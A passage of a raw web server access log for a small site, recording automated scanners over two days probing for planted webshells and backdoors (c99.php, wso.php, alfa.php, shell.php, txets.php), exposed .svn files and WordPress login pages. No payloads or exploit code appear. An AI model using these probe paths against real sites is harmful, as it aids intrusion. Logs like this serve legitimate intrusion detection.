AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.2.76.137 - - [05/Feb/2026:15:17:49 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 195.178.110.242 - - [05/Feb/2026:15:10:14 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 195.178.110.242 - - [05/Feb/2026:15:10:14 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 44.195.201.244 - - [05/Feb/2026:16:09:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 147.45.60.79 - - [05/Feb/2026:15:48:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 167.94.146.60 - - [05/Feb/2026:15:45:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 43.135.182.43 - - [05/Feb/2026:16:18:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.45.154.149 - - [05/Feb/2026:16:34:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 157.15.40.1 - - [05/Feb/2026:16:50:12 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 192.36.70.176 - - [05/Feb/2026:17:02:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 178.128.215.226 - - [05/Feb/2026:18:12:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 173.252.82.8 - - [05/Feb/2026:19:11:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.166.238.12 - - [05/Feb/2026:22:43:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 223.15.245.170 - - [05/Feb/2026:23:09:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.68.106.186 - - [05/Feb/2026:22:38:39 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.65.190.141 - - [05/Feb/2026:21:24:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 170.106.187.106 - - [05/Feb/2026:21:34:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.65.190.141 - - [05/Feb/2026:21:24:55 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:34 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.204.244.206 - - [05/Feb/2026:23:52:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [05/Feb/2026:23:53:32 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:36 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:36 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:32 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:33 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:35 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:35 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.3.2 - - [05/Feb/2026:23:53:34 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.122.171.170 - - [06/Feb/2026:00:35:34 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:47 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:28 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:30 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 20.220.62.160 - - [06/Feb/2026:00:09:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:14 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:55 +0300] "GET //wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:38 +0300] "GET //wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:40 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:01 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:04 +0300] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:07 +0300] "GET /rezor.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:10 +0300] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:47 +0300] "GET //install.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:16 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:17 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:19 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:21 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:24 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:26 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:29 +0300] "GET /.trash7309/f/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:31 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:06 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:07 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:23 +0300] "GET //wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:05 +0300] "GET //test.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:36:56 +0300] "GET //skin/install/default/security.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:22 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:25 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:28 +0300] "GET /Update/f35.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:30 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:33 +0300] "GET /Wp-good.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:34 +0300] "GET /tphp.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:37 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:39 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:42 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:34:45 +0300] "GET //alfa.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:52 +0300] "GET /~norapump/hah.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:55 +0300] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:35:58 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:22 +0300] "GET //wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:44 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:47 +0300] "GET /2026.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:50 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:53 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:56 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:33:59 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:37 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:27 +0300] "GET //wso.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:37 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:40 +0300] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:54 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:56 +0300] "GET //wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:05 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:51 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:46:28 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:34 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:37 +0300] "GET //admin/function.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:28 +0300] "GET /cool.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:52 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:41 +0300] "GET /museu/yhweq.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:44 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:47 +0300] "GET //w.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:15 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:19 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:23 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:25 +0300] "GET //1337.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:31 +0300] "GET //buy.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:35 +0300] "GET /apsarasarts/okk.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:38 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:40 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:43 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:45 +0300] "GET //about/function.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:33 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 81.29.142.100 - - [06/Feb/2026:00:44:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 YaBrowser/21.2.2.101 Yowser/2.5 Safari/537.36" 20.122.171.170 - - [06/Feb/2026:00:45:33 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:33 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:46:05 +0300] "GET //404.php HTTP/1.1" 301 795 "-" "-" 43.155.108.190 - - [06/Feb/2026:01:41:55 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 47.128.31.127 - - [06/Feb/2026:01:52:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 20.122.171.170 - - [06/Feb/2026:00:37:52 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:37:53 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:47 +0300] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:07 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:10 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:14 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:20 +0300] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:06 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:13 +0300] "GET //.cache/x.php HTTP/1.1" 301 795 "-" "-" 5.133.192.188 - - [06/Feb/2026:01:18:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g" 20.122.171.170 - - [06/Feb/2026:00:38:34 +0300] "GET /images/fk2e3/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:36 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:40 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:51 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:09 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:46 +0300] "GET //elp.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:21 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:21 +0300] "GET /ps.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:24 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:27 +0300] "GET /.trash7309/dd/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:29 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:31 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:34 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:36 +0300] "GET //wp-content/plugins/achdxhv/languages/admin.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:15 +0300] "GET /oivcl.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:19 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:22 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:24 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:27 +0300] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:27 +0300] "GET /ioxi-o2.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:21 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:03 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:06 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:13 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:46:16 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:53 +0300] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:56 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:56 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:58 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:40:57 +0300] "GET //wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:18 +0300] "GET /.trash7309/fafa/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:54 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:40 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:57 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:46:00 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:21 +0300] "GET /WordPress/x/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:23 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:27 +0300] "GET //geck.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:54 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:57 +0300] "GET //wp-content/json.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:45:43 +0300] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:46:35 +0300] "GET //lufix.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:01 +0300] "GET //wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:14 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:38:14 +0300] "GET /wp/wp-includes//index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:39:43 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:24 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:28 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:41:28 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:00 +0300] "GET /gib.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:02 +0300] "GET /wp-miiss.php.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:04 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:42:07 +0300] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:42 +0300] "GET //user.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:46 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:46 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:48 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:49 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:52 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:55 +0300] "GET //403.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:43:59 +0300] "GET //wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:00 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 20.122.171.170 - - [06/Feb/2026:00:44:04 +0300] "GET //sad/about.php HTTP/1.1" 301 795 "-" "-" 185.13.98.57 - - [06/Feb/2026:01:18:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g" 84.246.85.11 - - [06/Feb/2026:02:16:16 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 84.246.85.11 - - [06/Feb/2026:02:16:15 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 84.246.85.11 - - [06/Feb/2026:02:16:14 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 64.89.163.10 - - [06/Feb/2026:02:59:21 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:20 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:22 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:22 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:22 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:23 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:23 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [06/Feb/2026:02:59:23 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - 